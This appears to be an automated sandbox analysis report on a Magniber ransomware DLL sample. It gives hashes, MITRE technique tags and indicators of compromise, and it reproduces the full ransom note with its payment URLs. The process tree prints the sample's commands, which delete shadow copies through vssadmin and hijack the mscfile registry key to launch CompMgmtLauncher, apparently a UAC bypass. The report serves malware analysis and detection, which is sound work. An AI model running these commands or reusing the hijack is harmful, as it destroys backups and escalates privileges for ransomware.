magniber | 20e29bfcd2d3372af66eec996bcbc0babbeb8bc36b6a3edcd3afc70782aaea2e

Analysis

max time kernel
120s
max time network
141s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
05-12-2024 10:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c752934305e1b89f82798ea2c26f70b3_JaffaCakes118.dll
Size

20KB
MD5

c752934305e1b89f82798ea2c26f70b3
SHA1

d5034027ea79146d7597542d0b9ae040ec632e18
SHA256

20e29bfcd2d3372af66eec996bcbc0babbeb8bc36b6a3edcd3afc70782aaea2e
SHA512

ad52c0b638770999fa9de9242161e3d8b30cfa9a66ce34d6dc870b47cf1a9479a76ea04b556affddcfbdb8bf229e488a9fb2a3c5d225df58cdb467c57c2ed179
SSDEEP

384:ebYQedPt/jViMyZXH8N2hjpzge669ZrzGYzPbJBn9JTpXJYDd4Pm3ixs0xsSBB/q:UYtNt74f62hjN79B9Jh9J1+DaP2gBhb

Score

10^/10

magniber defense_evasion discovery execution impact ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://f498ace85800dc40daditeiyb.m647u2xsjtlfyzuevlxjiiwjsg2btyhmbxbjz4in4hm76u6hjzc62wad.onion/diteiyb Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://f498ace85800dc40daditeiyb.topsaid.site/diteiyb http://f498ace85800dc40daditeiyb.gosmark.space/diteiyb http://f498ace85800dc40daditeiyb.iecard.top/diteiyb http://f498ace85800dc40daditeiyb.ourunit.xyz/diteiyb Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://f498ace85800dc40daditeiyb.m647u2xsjtlfyzuevlxjiiwjsg2btyhmbxbjz4in4hm76u6hjzc62wad.onion/diteiyb

http://f498ace85800dc40daditeiyb.topsaid.site/diteiyb

http://f498ace85800dc40daditeiyb.gosmark.space/diteiyb

http://f498ace85800dc40daditeiyb.iecard.top/diteiyb

http://f498ace85800dc40daditeiyb.ourunit.xyz/diteiyb

Signatures

Detect magniber ransomware 1 IoCs

resource	yara_rule
behavioral1/memory/2568-0-0x0000000001E20000-0x00000000020B1000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber
Magniber family
magniber

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2100	2656	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2540	2656	cmd.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2696	2656	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2820	2656	cmd.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1856	2656	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2136	2656	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1660	2656	cmd.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2440	2656	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	844	2656	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2228	2656	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2260	2656	cmd.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2024	2656	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1240	2656	vssadmin.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2644	2656	cmd.exe	40
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2116	2656	vssadmin.exe	40

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (93) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Drops desktop.ini file(s) 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\L2BFB2JG\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MYC3PENY\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9C9T5AL\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROVWYKHE\desktop.ini	DllHost.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2568 set thread context of 1112	2568	rundll32.exe	19
PID 2568 set thread context of 1164	2568	rundll32.exe	20
PID 2568 set thread context of 1204	2568	rundll32.exe	21
PID 2568 set thread context of 496	2568	rundll32.exe	25

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Interacts with shadow copies 3 TTPs 10 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2100	vssadmin.exe
1240	vssadmin.exe
2116	vssadmin.exe
2024	vssadmin.exe
2696	vssadmin.exe
1856	vssadmin.exe
2136	vssadmin.exe
2440	vssadmin.exe
844	vssadmin.exe
2228	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 303bf7df0247db01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "439557394"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{09231DD1-B2F6-11EF-85B7-D6CBE06212A9} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000615ccd883db7b1459927a3dc74b58ce20000000002000000000010660000000100002000000044cf0d3ed9086944a6479d289498ae38aa8c2b02e963e164cb09b38b5ce4005f000000000e800000000200002000000035d413365433b0fbe563ed55dc29efa74956b6f8e0dd8182b00efd70157dcd54900000004815e89aed0e34ecdacf78ff2cb7ce140b5a99f45d199fdc4cf122125874fe9a6418480b6762f088c08a67dcff53b5a951b3df9f2fcc746abc658ab75140a93d31a2fb462af4003c33c32ba0bc9d37bf453a73a461063fe5888e0df3f68bc76f55f020f75d59a622f8281bb7ab54d633985890475115f9b0ced9f5e0703d0ec9f93570978848a5fb620bb2c82d975a3e40000000f1dc10b7a81fe63e3f6b183744aefbe9c0ff02f186db582c8672fb531ddae370a604b44ca32cd13283e8455fc8ccab58ec7f93b22525493b1c5a32b654a4b608	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000615ccd883db7b1459927a3dc74b58ce200000000020000000000106600000001000020000000b90982fe91f023b3236dde152a8bbd6a89203fdaac2c9fd4a0a7edcf246fe4a4000000000e8000000002000020000000f684a0a08249d2460fcffb9f7b073a14a460cb6b85422db1bcf29687725f2a892000000067f6c5d809a5f7d1ee5fdc7aa6c92f360c3a4d556efd5d9279d3a5999b8424a640000000459ecebed5cb746bb738d732fa0d504f6ebbcc0dd907690640a9688a0b5b6079262a5039028699e6f621a068b11f861d75eee12ff49b1fa99a6f8e88d850c256	iexplore.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command	DllHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	DllHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\mscfile\shell\open	Explorer.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
572	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2568	rundll32.exe
2568	rundll32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2568	rundll32.exe
2568	rundll32.exe
2568	rundll32.exe
2568	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1724	wmic.exe
Token: SeSecurityPrivilege	1724	wmic.exe
Token: SeTakeOwnershipPrivilege	1724	wmic.exe
Token: SeLoadDriverPrivilege	1724	wmic.exe
Token: SeSystemProfilePrivilege	1724	wmic.exe
Token: SeSystemtimePrivilege	1724	wmic.exe
Token: SeProfSingleProcessPrivilege	1724	wmic.exe
Token: SeIncBasePriorityPrivilege	1724	wmic.exe
Token: SeCreatePagefilePrivilege	1724	wmic.exe
Token: SeBackupPrivilege	1724	wmic.exe
Token: SeRestorePrivilege	1724	wmic.exe
Token: SeShutdownPrivilege	1724	wmic.exe
Token: SeDebugPrivilege	1724	wmic.exe
Token: SeSystemEnvironmentPrivilege	1724	wmic.exe
Token: SeRemoteShutdownPrivilege	1724	wmic.exe
Token: SeUndockPrivilege	1724	wmic.exe
Token: SeManageVolumePrivilege	1724	wmic.exe
Token: 33	1724	wmic.exe
Token: 34	1724	wmic.exe
Token: 35	1724	wmic.exe
Token: SeIncreaseQuotaPrivilege	3052	WMIC.exe
Token: SeSecurityPrivilege	3052	WMIC.exe
Token: SeTakeOwnershipPrivilege	3052	WMIC.exe
Token: SeLoadDriverPrivilege	3052	WMIC.exe
Token: SeSystemProfilePrivilege	3052	WMIC.exe
Token: SeSystemtimePrivilege	3052	WMIC.exe
Token: SeProfSingleProcessPrivilege	3052	WMIC.exe
Token: SeIncBasePriorityPrivilege	3052	WMIC.exe
Token: SeCreatePagefilePrivilege	3052	WMIC.exe
Token: SeBackupPrivilege	3052	WMIC.exe
Token: SeRestorePrivilege	3052	WMIC.exe
Token: SeShutdownPrivilege	3052	WMIC.exe
Token: SeDebugPrivilege	3052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3052	WMIC.exe
Token: SeRemoteShutdownPrivilege	3052	WMIC.exe
Token: SeUndockPrivilege	3052	WMIC.exe
Token: SeManageVolumePrivilege	3052	WMIC.exe
Token: 33	3052	WMIC.exe
Token: 34	3052	WMIC.exe
Token: 35	3052	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3052	WMIC.exe
Token: SeSecurityPrivilege	3052	WMIC.exe
Token: SeTakeOwnershipPrivilege	3052	WMIC.exe
Token: SeLoadDriverPrivilege	3052	WMIC.exe
Token: SeSystemProfilePrivilege	3052	WMIC.exe
Token: SeSystemtimePrivilege	3052	WMIC.exe
Token: SeProfSingleProcessPrivilege	3052	WMIC.exe
Token: SeIncBasePriorityPrivilege	3052	WMIC.exe
Token: SeCreatePagefilePrivilege	3052	WMIC.exe
Token: SeBackupPrivilege	3052	WMIC.exe
Token: SeRestorePrivilege	3052	WMIC.exe
Token: SeShutdownPrivilege	3052	WMIC.exe
Token: SeDebugPrivilege	3052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3052	WMIC.exe
Token: SeRemoteShutdownPrivilege	3052	WMIC.exe
Token: SeUndockPrivilege	3052	WMIC.exe
Token: SeManageVolumePrivilege	3052	WMIC.exe
Token: 33	3052	WMIC.exe
Token: 34	3052	WMIC.exe
Token: 35	3052	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1724	wmic.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
2664	iexplore.exe
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2664	iexplore.exe
2664	iexplore.exe
2700	IEXPLORE.EXE
2700	IEXPLORE.EXE
2700	IEXPLORE.EXE
2700	IEXPLORE.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
1204	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1204 wrote to memory of 572	1204	Explorer.EXE	31
PID 1204 wrote to memory of 572	1204	Explorer.EXE	31
PID 1204 wrote to memory of 572	1204	Explorer.EXE	31
PID 1204 wrote to memory of 2216	1204	Explorer.EXE	32
PID 1204 wrote to memory of 2216	1204	Explorer.EXE	32
PID 1204 wrote to memory of 2216	1204	Explorer.EXE	32
PID 1204 wrote to memory of 1724	1204	Explorer.EXE	33
PID 1204 wrote to memory of 1724	1204	Explorer.EXE	33
PID 1204 wrote to memory of 1724	1204	Explorer.EXE	33
PID 1204 wrote to memory of 892	1204	Explorer.EXE	34
PID 1204 wrote to memory of 892	1204	Explorer.EXE	34
PID 1204 wrote to memory of 892	1204	Explorer.EXE	34
PID 892 wrote to memory of 3052	892	cmd.exe	38
PID 892 wrote to memory of 3052	892	cmd.exe	38
PID 892 wrote to memory of 3052	892	cmd.exe	38
PID 2216 wrote to memory of 2664	2216	cmd.exe	39
PID 2216 wrote to memory of 2664	2216	cmd.exe	39
PID 2216 wrote to memory of 2664	2216	cmd.exe	39
PID 1164 wrote to memory of 2628	1164	Dwm.exe	41
PID 1164 wrote to memory of 2628	1164	Dwm.exe	41
PID 1164 wrote to memory of 2628	1164	Dwm.exe	41
PID 1164 wrote to memory of 2640	1164	Dwm.exe	42
PID 1164 wrote to memory of 2640	1164	Dwm.exe	42
PID 1164 wrote to memory of 2640	1164	Dwm.exe	42
PID 2664 wrote to memory of 2700	2664	iexplore.exe	45
PID 2664 wrote to memory of 2700	2664	iexplore.exe	45
PID 2664 wrote to memory of 2700	2664	iexplore.exe	45
PID 2664 wrote to memory of 2700	2664	iexplore.exe	45
PID 2640 wrote to memory of 600	2640	cmd.exe	50
PID 2640 wrote to memory of 600	2640	cmd.exe	50
PID 2640 wrote to memory of 600	2640	cmd.exe	50
PID 2540 wrote to memory of 1200	2540	cmd.exe	51
PID 2540 wrote to memory of 1200	2540	cmd.exe	51
PID 2540 wrote to memory of 1200	2540	cmd.exe	51
PID 1200 wrote to memory of 236	1200	CompMgmtLauncher.exe	57
PID 1200 wrote to memory of 236	1200	CompMgmtLauncher.exe	57
PID 1200 wrote to memory of 236	1200	CompMgmtLauncher.exe	57
PID 2820 wrote to memory of 2464	2820	cmd.exe	59
PID 2820 wrote to memory of 2464	2820	cmd.exe	59
PID 2820 wrote to memory of 2464	2820	cmd.exe	59
PID 2464 wrote to memory of 1340	2464	CompMgmtLauncher.exe	63
PID 2464 wrote to memory of 1340	2464	CompMgmtLauncher.exe	63
PID 2464 wrote to memory of 1340	2464	CompMgmtLauncher.exe	63
PID 2568 wrote to memory of 2904	2568	rundll32.exe	68
PID 2568 wrote to memory of 2904	2568	rundll32.exe	68
PID 2568 wrote to memory of 2904	2568	rundll32.exe	68
PID 2568 wrote to memory of 2372	2568	rundll32.exe	69
PID 2568 wrote to memory of 2372	2568	rundll32.exe	69
PID 2568 wrote to memory of 2372	2568	rundll32.exe	69
PID 2372 wrote to memory of 2156	2372	cmd.exe	72
PID 2372 wrote to memory of 2156	2372	cmd.exe	72
PID 2372 wrote to memory of 2156	2372	cmd.exe	72
PID 1660 wrote to memory of 2860	1660	cmd.exe	77
PID 1660 wrote to memory of 2860	1660	cmd.exe	77
PID 1660 wrote to memory of 2860	1660	cmd.exe	77
PID 2860 wrote to memory of 1620	2860	CompMgmtLauncher.exe	78
PID 2860 wrote to memory of 1620	2860	CompMgmtLauncher.exe	78
PID 2860 wrote to memory of 1620	2860	CompMgmtLauncher.exe	78
PID 1112 wrote to memory of 2908	1112	taskhost.exe	82
PID 1112 wrote to memory of 2908	1112	taskhost.exe	82
PID 1112 wrote to memory of 2908	1112	taskhost.exe	82
PID 1112 wrote to memory of 2332	1112	taskhost.exe	83
PID 1112 wrote to memory of 2332	1112	taskhost.exe	83
PID 1112 wrote to memory of 2332	1112	taskhost.exe	83

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1112
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2908
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:2332
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2844

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1164
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2628
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:600

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\c752934305e1b89f82798ea2c26f70b3_JaffaCakes118.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2904
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2372
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:2156
- C:\Windows\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:572
- C:\Windows\system32\cmd.exe
  cmd /c "start http://f498ace85800dc40daditeiyb.topsaid.site/diteiyb^&2^&38246732^&93^&405^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://f498ace85800dc40daditeiyb.topsaid.site/diteiyb&2&38246732&93&405&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2664 CREDAT:275457 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2700
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1724
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:892
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3052

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops desktop.ini file(s)
- Modifies registry class
PID:496
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1032
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1860
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1528

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2100

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
